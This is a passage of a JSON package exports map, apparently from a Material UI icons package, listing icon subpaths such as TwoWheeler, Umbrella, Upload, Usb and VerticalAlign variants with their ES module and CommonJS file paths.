\"import\": \"./TwoMp.mjs\",\n      \"require\": \"./TwoMp.js\",\n      \"default\": \"./TwoMp.mjs\"\n    },\n    \"./TwoMpOutlined\": {\n      \"import\": \"./TwoMpOutlined.mjs\",\n      \"require\": \"./TwoMpOutlined.js\",\n      \"default\": \"./TwoMpOutlined.mjs\"\n    },\n    \"./TwoMpRounded\": {\n      \"import\": \"./TwoMpRounded.mjs\",\n      \"require\": \"./TwoMpRounded.js\",\n      \"default\": \"./TwoMpRounded.mjs\"\n    },\n    \"./TwoMpSharp\": {\n      \"import\": \"./TwoMpSharp.mjs\",\n      \"require\": \"./TwoMpSharp.js\",\n      \"default\": \"./TwoMpSharp.mjs\"\n    },\n    \"./TwoMpTwoTone\": {\n      \"import\": \"./TwoMpTwoTone.mjs\",\n      \"require\": \"./TwoMpTwoTone.js\",\n      \"default\": \"./TwoMpTwoTone.mjs\"\n    },\n    \"./TwoWheeler\": {\n      \"import\": \"./TwoWheeler.mjs\",\n      \"require\": \"./TwoWheeler.js\",\n      \"default\": \"./TwoWheeler.mjs\"\n    },\n    \"./TwoWheelerOutlined\": {\n      \"require\": \"./TwoWheelerOutlined.js\",\n      \"import\": \"./TwoWheelerOutlined.mjs\",\n      \"default\": \"./TwoWheelerOutlined.mjs\"\n    },\n    \"./TwoWheelerRounded\": {\n      \"require\": \"./TwoWheelerRounded.js\",\n      \"import\": \"./TwoWheelerRounded.mjs\",\n      \"default\": \"./TwoWheelerRounded.mjs\"\n    },\n    \"./TwoWheelerSharp\": {\n      \"require\": \"./TwoWheelerSharp.js\",\n      \"import\": \"./TwoWheelerSharp.mjs\",\n      \"default\": \"./TwoWheelerSharp.mjs\"\n    },\n    \"./TwoWheelerTwoTone\": {\n      \"require\": \"./TwoWheelerTwoTone.js\",\n      \"import\": \"./TwoWheelerTwoTone.mjs\",\n      \"default\": \"./TwoWheelerTwoTone.mjs\"\n    },\n    \"./TypeSpecimen\": {\n      \"require\": \"./TypeSpecimen.js\",\n      \"import\": \"./TypeSpecimen.mjs\",\n      \"default\": \"./TypeSpecimen.mjs\"\n    },\n    \"./TypeSpecimenOutlined\": {\n      \"require\": \"./TypeSpecimenOutlined.js\",\n      \"import\": \"./TypeSpecimenOutlined.mjs\",\n      \"default\": \"./TypeSpecimenOutlined.mjs\"\n    },\n    \"./TypeSpecimenRounded\": {\n      \"require\": \"./TypeSpecimenRounded.js\",\n      \"import\": \"./TypeSpecimenRounded.mjs\",\n      \"default\": \"./TypeSpecimenRounded.mjs\"\n    },\n    \"./TypeSpecimenSharp\": {\n      \"require\": \"./TypeSpecimenSharp.js\",\n      \"import\": \"./TypeSpecimenSharp.mjs\",\n      \"default\": \"./TypeSpecimenSharp.mjs\"\n    },\n    \"./TypeSpecimenTwoTone\": {\n      \"require\": \"./TypeSpecimenTwoTone.js\",\n      \"import\": \"./TypeSpecimenTwoTone.mjs\",\n      \"default\": \"./TypeSpecimenTwoTone.mjs\"\n    },\n    \"./UTurnLeft\": {\n      \"require\": \"./UTurnLeft.js\",\n      \"import\": \"./UTurnLeft.mjs\",\n      \"default\": \"./UTurnLeft.mjs\"\n    },\n    \"./UTurnLeftOutlined\": {\n      \"require\": \"./UTurnLeftOutlined.js\",\n      \"import\": \"./UTurnLeftOutlined.mjs\",\n      \"default\": \"./UTurnLeftOutlined.mjs\"\n    },\n    \"./UTurnLeftRounded\": {\n      \"require\": \"./UTurnLeftRounded.js\",\n      \"import\": \"./UTurnLeftRounded.mjs\",\n      \"default\": \"./UTurnLeftRounded.mjs\"\n    },\n    \"./UTurnLeftSharp\": {\n      \"require\": \"./UTurnLeftSharp.js\",\n      \"import\": \"./UTurnLeftSharp.mjs\",\n      \"default\": \"./UTurnLeftSharp.mjs\"\n    },\n    \"./UTurnLeftTwoTone\": {\n      \"require\": \"./UTurnLeftTwoTone.js\",\n      \"import\": \"./UTurnLeftTwoTone.mjs\",\n      \"default\": \"./UTurnLeftTwoTone.mjs\"\n    },\n    \"./UTurnRight\": {\n      \"require\": \"./UTurnRight.js\",\n      \"import\": \"./UTurnRight.mjs\",\n      \"default\": \"./UTurnRight.mjs\"\n    },\n    \"./UTurnRightOutlined\": {\n      \"require\": \"./UTurnRightOutlined.js\",\n      \"import\": \"./UTurnRightOutlined.mjs\",\n      \"default\": \"./UTurnRightOutlined.mjs\"\n    },\n    \"./UTurnRightRounded\": {\n      \"require\": \"./UTurnRightRounded.js\",\n      \"import\": \"./UTurnRightRounded.mjs\",\n      \"default\": \"./UTurnRightRounded.mjs\"\n    },\n    \"./UTurnRightSharp\": {\n      \"require\": \"./UTurnRightSharp.js\",\n      \"import\": \"./UTurnRightSharp.mjs\",\n      \"default\": \"./UTurnRightSharp.mjs\"\n    },\n    \"./UTurnRightTwoTone\": {\n      \"require\": \"./UTurnRightTwoTone.js\",\n      \"import\": \"./UTurnRightTwoTone.mjs\",\n      \"default\": \"./UTurnRightTwoTone.mjs\"\n    },\n    \"./Umbrella\": {\n      \"import\": \"./Umbrella.mjs\",\n      \"require\": \"./Umbrella.js\",\n      \"default\": \"./Umbrella.mjs\"\n    },\n    \"./UmbrellaOutlined\": {\n      \"import\": \"./UmbrellaOutlined.mjs\",\n      \"require\": \"./UmbrellaOutlined.js\",\n      \"default\": \"./UmbrellaOutlined.mjs\"\n    },\n    \"./UmbrellaRounded\": {\n      \"import\": \"./UmbrellaRounded.mjs\",\n      \"require\": \"./UmbrellaRounded.js\",\n      \"default\": \"./UmbrellaRounded.mjs\"\n    },\n    \"./UmbrellaSharp\": {\n      \"import\": \"./UmbrellaSharp.mjs\",\n      \"require\": \"./UmbrellaSharp.js\",\n      \"default\": \"./UmbrellaSharp.mjs\"\n    },\n    \"./UmbrellaTwoTone\": {\n      \"import\": \"./UmbrellaTwoTone.mjs\",\n      \"require\": \"./UmbrellaTwoTone.js\",\n      \"default\": \"./UmbrellaTwoTone.mjs\"\n    },\n    \"./Unarchive\": {\n      \"import\": \"./Unarchive.mjs\",\n      \"require\": \"./Unarchive.js\",\n      \"default\": \"./Unarchive.mjs\"\n    },\n    \"./UnarchiveOutlined\": {\n      \"import\": \"./UnarchiveOutlined.mjs\",\n      \"require\": \"./UnarchiveOutlined.js\",\n      \"default\": \"./UnarchiveOutlined.mjs\"\n    },\n    \"./UnarchiveRounded\": {\n      \"import\": \"./UnarchiveRounded.mjs\",\n      \"require\": \"./UnarchiveRounded.js\",\n      \"default\": \"./UnarchiveRounded.mjs\"\n    },\n    \"./UnarchiveSharp\": {\n      \"import\": \"./UnarchiveSharp.mjs\",\n      \"require\": \"./UnarchiveSharp.js\",\n      \"default\": \"./UnarchiveSharp.mjs\"\n    },\n    \"./UnarchiveTwoTone\": {\n      \"import\": \"./UnarchiveTwoTone.mjs\",\n      \"require\": \"./UnarchiveTwoTone.js\",\n      \"default\": \"./UnarchiveTwoTone.mjs\"\n    },\n    \"./Undo\": {\n      \"import\": \"./Undo.mjs\",\n      \"require\": \"./Undo.js\",\n      \"default\": \"./Undo.mjs\"\n    },\n    \"./UndoOutlined\": {\n      \"import\": \"./UndoOutlined.mjs\",\n      \"require\": \"./UndoOutlined.js\",\n      \"default\": \"./UndoOutlined.mjs\"\n    },\n    \"./UndoRounded\": {\n      \"import\": \"./UndoRounded.mjs\",\n      \"require\": \"./UndoRounded.js\",\n      \"default\": \"./UndoRounded.mjs\"\n    },\n    \"./UndoSharp\": {\n      \"import\": \"./UndoSharp.mjs\",\n      \"require\": \"./UndoSharp.js\",\n      \"default\": \"./UndoSharp.mjs\"\n    },\n    \"./UndoTwoTone\": {\n      \"import\": \"./UndoTwoTone.mjs\",\n      \"require\": \"./UndoTwoTone.js\",\n      \"default\": \"./UndoTwoTone.mjs\"\n    },\n    \"./UnfoldLess\": {\n      \"import\": \"./UnfoldLess.mjs\",\n      \"require\": \"./UnfoldLess.js\",\n      \"default\": \"./UnfoldLess.mjs\"\n    },\n    \"./UnfoldLessDouble\": {\n      \"require\": \"./UnfoldLessDouble.js\",\n      \"import\": \"./UnfoldLessDouble.mjs\",\n      \"default\": \"./UnfoldLessDouble.mjs\"\n    },\n    \"./UnfoldLessDoubleOutlined\": {\n      \"require\": \"./UnfoldLessDoubleOutlined.js\",\n      \"import\": \"./UnfoldLessDoubleOutlined.mjs\",\n      \"default\": \"./UnfoldLessDoubleOutlined.mjs\"\n    },\n    \"./UnfoldLessDoubleRounded\": {\n      \"require\": \"./UnfoldLessDoubleRounded.js\",\n      \"import\": \"./UnfoldLessDoubleRounded.mjs\",\n      \"default\": \"./UnfoldLessDoubleRounded.mjs\"\n    },\n    \"./UnfoldLessDoubleSharp\": {\n      \"require\": \"./UnfoldLessDoubleSharp.js\",\n      \"import\": \"./UnfoldLessDoubleSharp.mjs\",\n      \"default\": \"./UnfoldLessDoubleSharp.mjs\"\n    },\n    \"./UnfoldLessDoubleTwoTone\": {\n      \"require\": \"./UnfoldLessDoubleTwoTone.js\",\n      \"import\": \"./UnfoldLessDoubleTwoTone.mjs\",\n      \"default\": \"./UnfoldLessDoubleTwoTone.mjs\"\n    },\n    \"./UnfoldLessOutlined\": {\n      \"require\": \"./UnfoldLessOutlined.js\",\n      \"import\": \"./UnfoldLessOutlined.mjs\",\n      \"default\": \"./UnfoldLessOutlined.mjs\"\n    },\n    \"./UnfoldLessRounded\": {\n      \"require\": \"./UnfoldLessRounded.js\",\n      \"import\": \"./UnfoldLessRounded.mjs\",\n      \"default\": \"./UnfoldLessRounded.mjs\"\n    },\n    \"./UnfoldLessSharp\": {\n      \"require\": \"./UnfoldLessSharp.js\",\n      \"import\": \"./UnfoldLessSharp.mjs\",\n      \"default\": \"./UnfoldLessSharp.mjs\"\n    },\n    \"./UnfoldLessTwoTone\": {\n      \"require\": \"./UnfoldLessTwoTone.js\",\n      \"import\": \"./UnfoldLessTwoTone.mjs\",\n      \"default\": \"./UnfoldLessTwoTone.mjs\"\n    },\n    \"./UnfoldMore\": {\n      \"require\": \"./UnfoldMore.js\",\n      \"import\": \"./UnfoldMore.mjs\",\n      \"default\": \"./UnfoldMore.mjs\"\n    },\n    \"./UnfoldMoreDouble\": {\n      \"require\": \"./UnfoldMoreDouble.js\",\n      \"import\": \"./UnfoldMoreDouble.mjs\",\n      \"default\": \"./UnfoldMoreDouble.mjs\"\n    },\n    \"./UnfoldMoreDoubleOutlined\": {\n      \"require\": \"./UnfoldMoreDoubleOutlined.js\",\n      \"import\": \"./UnfoldMoreDoubleOutlined.mjs\",\n      \"default\": \"./UnfoldMoreDoubleOutlined.mjs\"\n    },\n    \"./UnfoldMoreDoubleRounded\": {\n      \"require\": \"./UnfoldMoreDoubleRounded.js\",\n      \"import\": \"./UnfoldMoreDoubleRounded.mjs\",\n      \"default\": \"./UnfoldMoreDoubleRounded.mjs\"\n    },\n    \"./UnfoldMoreDoubleSharp\": {\n      \"require\": \"./UnfoldMoreDoubleSharp.js\",\n      \"import\": \"./UnfoldMoreDoubleSharp.mjs\",\n      \"default\": \"./UnfoldMoreDoubleSharp.mjs\"\n    },\n    \"./UnfoldMoreDoubleTwoTone\": {\n      \"require\": \"./UnfoldMoreDoubleTwoTone.js\",\n      \"import\": \"./UnfoldMoreDoubleTwoTone.mjs\",\n      \"default\": \"./UnfoldMoreDoubleTwoTone.mjs\"\n    },\n    \"./UnfoldMoreOutlined\": {\n      \"require\": \"./UnfoldMoreOutlined.js\",\n      \"import\": \"./UnfoldMoreOutlined.mjs\",\n      \"default\": \"./UnfoldMoreOutlined.mjs\"\n    },\n    \"./UnfoldMoreRounded\": {\n      \"require\": \"./UnfoldMoreRounded.js\",\n      \"import\": \"./UnfoldMoreRounded.mjs\",\n      \"default\": \"./UnfoldMoreRounded.mjs\"\n    },\n    \"./UnfoldMoreSharp\": {\n      \"require\": \"./UnfoldMoreSharp.js\",\n      \"import\": \"./UnfoldMoreSharp.mjs\",\n      \"default\": \"./UnfoldMoreSharp.mjs\"\n    },\n    \"./UnfoldMoreTwoTone\": {\n      \"require\": \"./UnfoldMoreTwoTone.js\",\n      \"import\": \"./UnfoldMoreTwoTone.mjs\",\n      \"default\": \"./UnfoldMoreTwoTone.mjs\"\n    },\n    \"./Unpublished\": {\n      \"require\": \"./Unpublished.js\",\n      \"import\": \"./Unpublished.mjs\",\n      \"default\": \"./Unpublished.mjs\"\n    },\n    \"./UnpublishedOutlined\": {\n      \"require\": \"./UnpublishedOutlined.js\",\n      \"import\": \"./UnpublishedOutlined.mjs\",\n      \"default\": \"./UnpublishedOutlined.mjs\"\n    },\n    \"./UnpublishedRounded\": {\n      \"import\": \"./UnpublishedRounded.mjs\",\n      \"require\": \"./UnpublishedRounded.js\",\n      \"default\": \"./UnpublishedRounded.mjs\"\n    },\n    \"./UnpublishedSharp\": {\n      \"import\": \"./UnpublishedSharp.mjs\",\n      \"require\": \"./UnpublishedSharp.js\",\n      \"default\": \"./UnpublishedSharp.mjs\"\n    },\n    \"./UnpublishedTwoTone\": {\n      \"import\": \"./UnpublishedTwoTone.mjs\",\n      \"require\": \"./UnpublishedTwoTone.js\",\n      \"default\": \"./UnpublishedTwoTone.mjs\"\n    },\n    \"./Unsubscribe\": {\n      \"import\": \"./Unsubscribe.mjs\",\n      \"require\": \"./Unsubscribe.js\",\n      \"default\": \"./Unsubscribe.mjs\"\n    },\n    \"./UnsubscribeOutlined\": {\n      \"import\": \"./UnsubscribeOutlined.mjs\",\n      \"require\": \"./UnsubscribeOutlined.js\",\n      \"default\": \"./UnsubscribeOutlined.mjs\"\n    },\n    \"./UnsubscribeRounded\": {\n      \"import\": \"./UnsubscribeRounded.mjs\",\n      \"require\": \"./UnsubscribeRounded.js\",\n      \"default\": \"./UnsubscribeRounded.mjs\"\n    },\n    \"./UnsubscribeSharp\": {\n      \"import\": \"./UnsubscribeSharp.mjs\",\n      \"require\": \"./UnsubscribeSharp.js\",\n      \"default\": \"./UnsubscribeSharp.mjs\"\n    },\n    \"./UnsubscribeTwoTone\": {\n      \"import\": \"./UnsubscribeTwoTone.mjs\",\n      \"require\": \"./UnsubscribeTwoTone.js\",\n      \"default\": \"./UnsubscribeTwoTone.mjs\"\n    },\n    \"./Upcoming\": {\n      \"import\": \"./Upcoming.mjs\",\n      \"require\": \"./Upcoming.js\",\n      \"default\": \"./Upcoming.mjs\"\n    },\n    \"./UpcomingOutlined\": {\n      \"import\": \"./UpcomingOutlined.mjs\",\n      \"require\": \"./UpcomingOutlined.js\",\n      \"default\": \"./UpcomingOutlined.mjs\"\n    },\n    \"./UpcomingRounded\": {\n      \"import\": \"./UpcomingRounded.mjs\",\n      \"require\": \"./UpcomingRounded.js\",\n      \"default\": \"./UpcomingRounded.mjs\"\n    },\n    \"./UpcomingSharp\": {\n      \"import\": \"./UpcomingSharp.mjs\",\n      \"require\": \"./UpcomingSharp.js\",\n      \"default\": \"./UpcomingSharp.mjs\"\n    },\n    \"./UpcomingTwoTone\": {\n      \"import\": \"./UpcomingTwoTone.mjs\",\n      \"require\": \"./UpcomingTwoTone.js\",\n      \"default\": \"./UpcomingTwoTone.mjs\"\n    },\n    \"./Update\": {\n      \"import\": \"./Update.mjs\",\n      \"require\": \"./Update.js\",\n      \"default\": \"./Update.mjs\"\n    },\n    \"./UpdateDisabled\": {\n      \"require\": \"./UpdateDisabled.js\",\n      \"import\": \"./UpdateDisabled.mjs\",\n      \"default\": \"./UpdateDisabled.mjs\"\n    },\n    \"./UpdateDisabledOutlined\": {\n      \"require\": \"./UpdateDisabledOutlined.js\",\n      \"import\": \"./UpdateDisabledOutlined.mjs\",\n      \"default\": \"./UpdateDisabledOutlined.mjs\"\n    },\n    \"./UpdateDisabledRounded\": {\n      \"require\": \"./UpdateDisabledRounded.js\",\n      \"import\": \"./UpdateDisabledRounded.mjs\",\n      \"default\": \"./UpdateDisabledRounded.mjs\"\n    },\n    \"./UpdateDisabledSharp\": {\n      \"require\": \"./UpdateDisabledSharp.js\",\n      \"import\": \"./UpdateDisabledSharp.mjs\",\n      \"default\": \"./UpdateDisabledSharp.mjs\"\n    },\n    \"./UpdateDisabledTwoTone\": {\n      \"require\": \"./UpdateDisabledTwoTone.js\",\n      \"import\": \"./UpdateDisabledTwoTone.mjs\",\n      \"default\": \"./UpdateDisabledTwoTone.mjs\"\n    },\n    \"./UpdateOutlined\": {\n      \"require\": \"./UpdateOutlined.js\",\n      \"import\": \"./UpdateOutlined.mjs\",\n      \"default\": \"./UpdateOutlined.mjs\"\n    },\n    \"./UpdateRounded\": {\n      \"require\": \"./UpdateRounded.js\",\n      \"import\": \"./UpdateRounded.mjs\",\n      \"default\": \"./UpdateRounded.mjs\"\n    },\n    \"./UpdateSharp\": {\n      \"require\": \"./UpdateSharp.js\",\n      \"import\": \"./UpdateSharp.mjs\",\n      \"default\": \"./UpdateSharp.mjs\"\n    },\n    \"./UpdateTwoTone\": {\n      \"require\": \"./UpdateTwoTone.js\",\n      \"import\": \"./UpdateTwoTone.mjs\",\n      \"default\": \"./UpdateTwoTone.mjs\"\n    },\n    \"./Upgrade\": {\n      \"require\": \"./Upgrade.js\",\n      \"import\": \"./Upgrade.mjs\",\n      \"default\": \"./Upgrade.mjs\"\n    },\n    \"./UpgradeOutlined\": {\n      \"require\": \"./UpgradeOutlined.js\",\n      \"import\": \"./UpgradeOutlined.mjs\",\n      \"default\": \"./UpgradeOutlined.mjs\"\n    },\n    \"./UpgradeRounded\": {\n      \"require\": \"./UpgradeRounded.js\",\n      \"import\": \"./UpgradeRounded.mjs\",\n      \"default\": \"./UpgradeRounded.mjs\"\n    },\n    \"./UpgradeSharp\": {\n      \"require\": \"./UpgradeSharp.js\",\n      \"import\": \"./UpgradeSharp.mjs\",\n      \"default\": \"./UpgradeSharp.mjs\"\n    },\n    \"./UpgradeTwoTone\": {\n      \"import\": \"./UpgradeTwoTone.mjs\",\n      \"require\": \"./UpgradeTwoTone.js\",\n      \"default\": \"./UpgradeTwoTone.mjs\"\n    },\n    \"./Upload\": {\n      \"import\": \"./Upload.mjs\",\n      \"require\": \"./Upload.js\",\n      \"default\": \"./Upload.mjs\"\n    },\n    \"./UploadFile\": {\n      \"import\": \"./UploadFile.mjs\",\n      \"require\": \"./UploadFile.js\",\n      \"default\": \"./UploadFile.mjs\"\n    },\n    \"./UploadFileOutlined\": {\n      \"import\": \"./UploadFileOutlined.mjs\",\n      \"require\": \"./UploadFileOutlined.js\",\n      \"default\": \"./UploadFileOutlined.mjs\"\n    },\n    \"./UploadFileRounded\": {\n      \"import\": \"./UploadFileRounded.mjs\",\n      \"require\": \"./UploadFileRounded.js\",\n      \"default\": \"./UploadFileRounded.mjs\"\n    },\n    \"./UploadFileSharp\": {\n      \"import\": \"./UploadFileSharp.mjs\",\n      \"require\": \"./UploadFileSharp.js\",\n      \"default\": \"./UploadFileSharp.mjs\"\n    },\n    \"./UploadFileTwoTone\": {\n      \"import\": \"./UploadFileTwoTone.mjs\",\n      \"require\": \"./UploadFileTwoTone.js\",\n      \"default\": \"./UploadFileTwoTone.mjs\"\n    },\n    \"./UploadOutlined\": {\n      \"import\": \"./UploadOutlined.mjs\",\n      \"require\": \"./UploadOutlined.js\",\n      \"default\": \"./UploadOutlined.mjs\"\n    },\n    \"./UploadRounded\": {\n      \"import\": \"./UploadRounded.mjs\",\n      \"require\": \"./UploadRounded.js\",\n      \"default\": \"./UploadRounded.mjs\"\n    },\n    \"./UploadSharp\": {\n      \"import\": \"./UploadSharp.mjs\",\n      \"require\": \"./UploadSharp.js\",\n      \"default\": \"./UploadSharp.mjs\"\n    },\n    \"./UploadTwoTone\": {\n      \"import\": \"./UploadTwoTone.mjs\",\n      \"require\": \"./UploadTwoTone.js\",\n      \"default\": \"./UploadTwoTone.mjs\"\n    },\n    \"./Usb\": {\n      \"import\": \"./Usb.mjs\",\n      \"require\": \"./Usb.js\",\n      \"default\": \"./Usb.mjs\"\n    },\n    \"./UsbOff\": {\n      \"import\": \"./UsbOff.mjs\",\n      \"require\": \"./UsbOff.js\",\n      \"default\": \"./UsbOff.mjs\"\n    },\n    \"./UsbOffOutlined\": {\n      \"import\": \"./UsbOffOutlined.mjs\",\n      \"require\": \"./UsbOffOutlined.js\",\n      \"default\": \"./UsbOffOutlined.mjs\"\n    },\n    \"./UsbOffRounded\": {\n      \"import\": \"./UsbOffRounded.mjs\",\n      \"require\": \"./UsbOffRounded.js\",\n      \"default\": \"./UsbOffRounded.mjs\"\n    },\n    \"./UsbOffSharp\": {\n      \"import\": \"./UsbOffSharp.mjs\",\n      \"require\": \"./UsbOffSharp.js\",\n      \"default\": \"./UsbOffSharp.mjs\"\n    },\n    \"./UsbOffTwoTone\": {\n      \"import\": \"./UsbOffTwoTone.mjs\",\n      \"require\": \"./UsbOffTwoTone.js\",\n      \"default\": \"./UsbOffTwoTone.mjs\"\n    },\n    \"./UsbOutlined\": {\n      \"import\": \"./UsbOutlined.mjs\",\n      \"require\": \"./UsbOutlined.js\",\n      \"default\": \"./UsbOutlined.mjs\"\n    },\n    \"./UsbRounded\": {\n      \"import\": \"./UsbRounded.mjs\",\n      \"require\": \"./UsbRounded.js\",\n      \"default\": \"./UsbRounded.mjs\"\n    },\n    \"./UsbSharp\": {\n      \"import\": \"./UsbSharp.mjs\",\n      \"require\": \"./UsbSharp.js\",\n      \"default\": \"./UsbSharp.mjs\"\n    },\n    \"./UsbTwoTone\": {\n      \"import\": \"./UsbTwoTone.mjs\",\n      \"require\": \"./UsbTwoTone.js\",\n      \"default\": \"./UsbTwoTone.mjs\"\n    },\n    \"./Vaccines\": {\n      \"import\": \"./Vaccines.mjs\",\n      \"require\": \"./Vaccines.js\",\n      \"default\": \"./Vaccines.mjs\"\n    },\n    \"./VaccinesOutlined\": {\n      \"require\": \"./VaccinesOutlined.js\",\n      \"import\": \"./VaccinesOutlined.mjs\",\n      \"default\": \"./VaccinesOutlined.mjs\"\n    },\n    \"./VaccinesRounded\": {\n      \"require\": \"./VaccinesRounded.js\",\n      \"import\": \"./VaccinesRounded.mjs\",\n      \"default\": \"./VaccinesRounded.mjs\"\n    },\n    \"./VaccinesSharp\": {\n      \"require\": \"./VaccinesSharp.js\",\n      \"import\": \"./VaccinesSharp.mjs\",\n      \"default\": \"./VaccinesSharp.mjs\"\n    },\n    \"./VaccinesTwoTone\": {\n      \"require\": \"./VaccinesTwoTone.js\",\n      \"import\": \"./VaccinesTwoTone.mjs\",\n      \"default\": \"./VaccinesTwoTone.mjs\"\n    },\n    \"./VapeFree\": {\n      \"require\": \"./VapeFree.js\",\n      \"import\": \"./VapeFree.mjs\",\n      \"default\": \"./VapeFree.mjs\"\n    },\n    \"./VapeFreeOutlined\": {\n      \"require\": \"./VapeFreeOutlined.js\",\n      \"import\": \"./VapeFreeOutlined.mjs\",\n      \"default\": \"./VapeFreeOutlined.mjs\"\n    },\n    \"./VapeFreeRounded\": {\n      \"require\": \"./VapeFreeRounded.js\",\n      \"import\": \"./VapeFreeRounded.mjs\",\n      \"default\": \"./VapeFreeRounded.mjs\"\n    },\n    \"./VapeFreeSharp\": {\n      \"require\": \"./VapeFreeSharp.js\",\n      \"import\": \"./VapeFreeSharp.mjs\",\n      \"default\": \"./VapeFreeSharp.mjs\"\n    },\n    \"./VapeFreeTwoTone\": {\n      \"require\": \"./VapeFreeTwoTone.js\",\n      \"import\": \"./VapeFreeTwoTone.mjs\",\n      \"default\": \"./VapeFreeTwoTone.mjs\"\n    },\n    \"./VapingRooms\": {\n      \"import\": \"./VapingRooms.mjs\",\n      \"require\": \"./VapingRooms.js\",\n      \"default\": \"./VapingRooms.mjs\"\n    },\n    \"./VapingRoomsOutlined\": {\n      \"import\": \"./VapingRoomsOutlined.mjs\",\n      \"require\": \"./VapingRoomsOutlined.js\",\n      \"default\": \"./VapingRoomsOutlined.mjs\"\n    },\n    \"./VapingRoomsRounded\": {\n      \"require\": \"./VapingRoomsRounded.js\",\n      \"import\": \"./VapingRoomsRounded.mjs\",\n      \"default\": \"./VapingRoomsRounded.mjs\"\n    },\n    \"./VapingRoomsSharp\": {\n      \"require\": \"./VapingRoomsSharp.js\",\n      \"import\": \"./VapingRoomsSharp.mjs\",\n      \"default\": \"./VapingRoomsSharp.mjs\"\n    },\n    \"./VapingRoomsTwoTone\": {\n      \"import\": \"./VapingRoomsTwoTone.mjs\",\n      \"require\": \"./VapingRoomsTwoTone.js\",\n      \"default\": \"./VapingRoomsTwoTone.mjs\"\n    },\n    \"./Verified\": {\n      \"import\": \"./Verified.mjs\",\n      \"require\": \"./Verified.js\",\n      \"default\": \"./Verified.mjs\"\n    },\n    \"./VerifiedOutlined\": {\n      \"import\": \"./VerifiedOutlined.mjs\",\n      \"require\": \"./VerifiedOutlined.js\",\n      \"default\": \"./VerifiedOutlined.mjs\"\n    },\n    \"./VerifiedRounded\": {\n      \"import\": \"./VerifiedRounded.mjs\",\n      \"require\": \"./VerifiedRounded.js\",\n      \"default\": \"./VerifiedRounded.mjs\"\n    },\n    \"./VerifiedSharp\": {\n      \"import\": \"./VerifiedSharp.mjs\",\n      \"require\": \"./VerifiedSharp.js\",\n      \"default\": \"./VerifiedSharp.mjs\"\n    },\n    \"./VerifiedTwoTone\": {\n      \"import\": \"./VerifiedTwoTone.mjs\",\n      \"require\": \"./VerifiedTwoTone.js\",\n      \"default\": \"./VerifiedTwoTone.mjs\"\n    },\n    \"./VerifiedUser\": {\n      \"import\": \"./VerifiedUser.mjs\",\n      \"require\": \"./VerifiedUser.js\",\n      \"default\": \"./VerifiedUser.mjs\"\n    },\n    \"./VerifiedUserOutlined\": {\n      \"import\": \"./VerifiedUserOutlined.mjs\",\n      \"require\": \"./VerifiedUserOutlined.js\",\n      \"default\": \"./VerifiedUserOutlined.mjs\"\n    },\n    \"./VerifiedUserRounded\": {\n      \"import\": \"./VerifiedUserRounded.mjs\",\n      \"require\": \"./VerifiedUserRounded.js\",\n      \"default\": \"./VerifiedUserRounded.mjs\"\n    },\n    \"./VerifiedUserSharp\": {\n      \"import\": \"./VerifiedUserSharp.mjs\",\n      \"require\": \"./VerifiedUserSharp.js\",\n      \"default\": \"./VerifiedUserSharp.mjs\"\n    },\n    \"./VerifiedUserTwoTone\": {\n      \"import\": \"./VerifiedUserTwoTone.mjs\",\n      \"require\": \"./VerifiedUserTwoTone.js\",\n      \"default\": \"./VerifiedUserTwoTone.mjs\"\n    },\n    \"./VerticalAlignBottom\": {\n      \"import\": \"./VerticalAlignBottom.mjs\",\n      \"require\": \"./VerticalAlignBottom.js\",\n      \"default\": \"./VerticalAlignBottom.mjs\"\n    },\n    \"./VerticalAlignBottomOutlined\": {\n      \"import\": \"./VerticalAlignBottomOutlined.mjs\",\n      \"require\": \"./VerticalAlignBottomOutlined.js\",\n      \"default\": \"./VerticalAlignBottomOutlined.mjs\"\n    },\n    \"./VerticalAlignBottomRounded\": {\n      \"import\": \"./VerticalAlignBottomRounded.mjs\",\n      \"require\": \"./VerticalAlignBottomRounded.js\",\n      \"default\": \"./VerticalAlignBottomRounded.mjs\"\n    },\n    \"./VerticalAlignBottomSharp\": {\n      \"import\": \"./VerticalAlignBottomSharp.mjs\",\n      \"require\": \"./VerticalAlignBottomSharp.js\",\n      \"default\": \"./VerticalAlignBottomSharp.mjs\"\n    },\n    \"./VerticalAlignBottomTwoTone\": {\n      \"import\": \"./VerticalAlignBottomTwoTone.mjs\",\n      \"require\": \"./VerticalAlignBottomTwoTone.js\",\n      \"default\": \"./VerticalAlignBottomTwoTone.mjs\"\n    },\n    \"./VerticalAlignCenter\": {\n      \"import\": \"./VerticalAlignCenter.mjs\",\n      \"require\": \"./VerticalAlignCenter.js\",\n      \"default\": \"./VerticalAlignCenter.mjs\"\n    },\n    \"./VerticalAlignCenterOutlined\": {\n      \"import\": \"./VerticalAlignCenterOutlined.mjs\",\n      \"require\": \"./VerticalAlignCenterOutlined.js\",\n      \"default\": \"./VerticalAlignCenterOutlined.mjs\"\n    },\n    \"./VerticalAlignCenterRounded\": {\n      \"import\": \"./VerticalAlignCenterRounded.mjs\",\n      \"require\": \"./VerticalAlignCenterRounded.js\",\n      \"default\": \"./VerticalAlignCenterRounded.mjs\"\n    },\n    \"./VerticalAlignCenterSharp\": {\n      \"import\": \"./VerticalAlignCenterSharp.mjs\",\n      \"require\": \"./VerticalAlignCenterSharp.js\",\n      \"default\": \"./VerticalAlignCenterSharp.mjs\"\n    },\n    \"./VerticalAlignCenterTwoTone\": {\n      \"import\": \"./VerticalAlignCenterTwoTone.mjs\",\n      \"require\": \"./VerticalAlignCenterTwoTone.js\",\n      \"default\": \"./VerticalAlignCenterTwoTone.mjs\"\n    },\n    \"./VerticalAlignTop\": {\n      \"import\": \"./VerticalAlignTop.mjs\",\n      \"require\": \"./VerticalAlignTop.js\",\n      \"default\": \"./VerticalAlignTop.mjs\"\n    },\n    \"./VerticalAlignTopOutlined\": {\n      \"import\": \"./VerticalAlignTopOutlined.mjs\",\n      \"require\": \"./VerticalAlignTopOutlined.js\",\n      \"default\": \"./VerticalAlignTopOutlined.mjs\"\n    },\n    \"./VerticalAlignTopRounded\": {\n      \"import\": \"./VerticalAlignTopRounded.mjs\",\n      \"require\": \"./VerticalAlignTopRounded.js\",\n      \"default\": \"./VerticalAlignTopRounded.mjs\"\n    },\n    \"./VerticalAlignTopSharp\": {\n      \"import\": \"./VerticalAlignTopSharp.mjs\",\n      \"require\": \"./VerticalAlignTopSharp.js\",\n      \"default\": \"./VerticalAlignTopSharp.mjs\"\n    },\n    \"./VerticalAlignTopTwoTone\": {\n      \"import\": \"./VerticalAlignTopTwoTone.mjs\",\n      \"require\": \"./VerticalAlignTopTwoTone.js\",\n      \"default\": \"./VerticalAlignTopTwoTone.mjs\"\n    },\n    \"./VerticalShades\": {\n      \"import\": \"./VerticalShades.mjs\",\n      